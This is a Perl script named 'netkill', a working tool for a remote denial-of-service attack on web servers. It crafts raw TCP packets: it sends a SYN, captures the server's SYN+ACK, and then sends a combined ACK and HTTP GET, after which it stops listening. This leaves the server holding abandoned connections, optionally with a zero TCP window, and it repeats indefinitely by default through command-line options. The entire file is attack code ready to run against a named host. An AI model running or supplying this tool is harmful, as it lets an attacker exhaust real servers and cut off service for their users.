#!/usr/bin/perl -w
# netkill - generic remote DoS attack

use strict;
use Net::RawIP ':pcap';		# Available from CPAN.
use Socket;
use Getopt::Std;

# Process command line arguments.
my %options;
getopts('zvp:t:r:u:w:i:d:', \%options) or usage();
my $zero_window = $options{z};		# Close window in second packet?
my $verbose = $options{v};		# Print progress indicators?
my $d_port = $options{p} || 80;		# Destination port.
my $timeout = $options{t} || 1;		# Timeout for pcap.
my $fake_rtt = $options{r} || 0.05;	# Max sleep between SYN and data.
my $url = $options{u} || '/';		# URL to request.
my $window = $options{w} || 16384;	# Window size.
my $interval = $options{i} || 0.5;	# Sleep time between `connections.'
my $numpackets = $options{d} || -1;	# Number of tries (-1 == infty).
my $d_name = shift or usage();		# Target host name.
shift and usage();			# Complain if other args present.

# This is what we send to the remote host.
# XXX: Must fit into one packet.
my $data = "GET $url HTTP/1.0\015\012\015\012";	# Two network EOLs in the end.

my ($d_canon, $d_ip) = (gethostbyname($d_name))[0,4]	# Resolve $d_name once.
  or die "$d_name: Unknown host\n";
my $d_ip_str = inet_ntoa($d_ip);	# Filter wants string representation.
my $dev = rdev($d_name) or die "$d_name: Cannot find outgoing interface\n";
my $s_ip_str = ${ifaddrlist()}{$dev} or die "$dev: Cannot find IP\n";

$| = 1 if $verbose;
print <<EOF if $verbose;
Sending to destination $d_canon [$d_ip_str].
Each dot indicates 10 semi-connections (actually, SYN+ACK packets).
EOF

my $hitcount;	# Used for progress indicator if $verbose is set.

while ($numpackets--) {
  # Unfortunately, there's pcapinit, but there's no way to give
  # resources back to the kernel (close the bpf device or whatever).
  # So, we fork a child for each pcapinit allocation and let him exit.
  my $pid = fork();
  sleep 1, next if $pid == -1;	# fork() failed; sleep and retry.
  for (1..10) {rand}	# Need to advance it manually, only children use rand.
  if ($pid) {
    # Parent.  Block until the child exits.
    waitpid($pid, 0);
    print '.' if $verbose && !$? && !(++$hitcount%10);
    select(undef, undef, undef, rand $interval);
  }
  else {
    # Child.
    my $s_port = 1025 + int rand 30000;	# Randon source port.
    my $my_seq = int rand 2147483648;	# Random sequence number.
    my $packet = new Net::RawIP({tcp => {}});
    my $filter =	# pcap filter to get SYN+ACK.
      "src $d_ip_str and tcp src port $d_port and tcp dst port $s_port";
    local $^W;	# Unfortunately, Net::RawIP is not -w - OK.
    my $pcap;
    # If we don't have enough resources locally, pcapinit will die/croak.
    # We want to catch the error, hence eval.
    eval q{$pcap = $packet->pcapinit($dev, $filter, 1500, $timeout)};
    $verbose? die "$@child died": exit 1 if $@;
    my $offset = linkoffset($pcap);	# Link header length (14 or whatever).
    $^W = 1;
    # Send the first packet: SYN.
    $packet->set({ip=>  {saddr=>$s_ip_str, daddr=>$d_ip_str, frag_off=>0,
			 tos=>0, id=>int rand 50000},
		  tcp=> {source=>$s_port, dest=>$d_port, syn=>1,
			 window=>$window, seq=>$my_seq}});
    $packet->send;
    my $temp;
    # Put their SYN+ACK (binary packed string) into $ipacket.
    my $ipacket = &next($pcap, $temp);
    exit 1 unless $ipacket;	# Timed out waiting for SYN+ACK.
    my $tcp = new Net::RawIP({tcp => {}});
    # Load $ipacket without link header into a readable data structure.
    $tcp->bset(substr($ipacket, $offset));
    $^W = 0;
    # All we want from their SYN+ACK is their sequence number.
    my ($his_seq) = $tcp->get({tcp=>['seq']});
    # It might increase the interval between retransmits with some
    # TCP implementations if we wait a little bit here.
    select(undef, undef, undef, rand $fake_rtt);
    # Send ACK for SYN+ACK and our data all in one packet.
    # The spec allows it, and it works.
    # Who told you about "three-way handshake"?
    $packet->set({ip=>  {saddr=>$s_ip_str, daddr=>$d_ip_str, frag_off=>0,
			 tos=>0, id=>int rand 50000},
		  tcp=> {source=>$s_port, dest=>$d_port, psh=>1, syn=>0,
			 ack=>1, window=>$zero_window? 0: $window,
			 ack_seq=>++$his_seq,
			 seq=>++$my_seq, data=>$data}});
    $packet->send;
    # At this point, if our second packet is not lost, the connection is
    # established.  They can try to send us as much data as they want now:
    # We're not listening anymore.
    # If our second packet is lost, they'll have a SYN_RCVD connection.
    # Hopefully, they can handle even a SYN flood.
    exit 0;
  }
}

exit(0);

sub usage
{
die <<EOF;
Usage: $0 [-vzw#r#d#i#t#p#] <host>
	-v: Be verbose.  Recommended for interactive use.
	-z: Close TCP window at the end of the conversation.
	-p: Port HTTP daemon is running on (default: 80).
	-t: Timeout for SYN+ACK to come (default: 1s, must be integer).
	-r: Max fake rtt, sleep between S+A and data packets (defeault: 0.05s).
	-u: URL to request (default: `/').
	-w: Window size (default: 16384).  Can change the type of attack.
	-i: Max sleep between `connections' (default: 0.5s).
	-d: How many times to try to hit (default: infinity).

See "perldoc netkill" for more information.
EOF
}
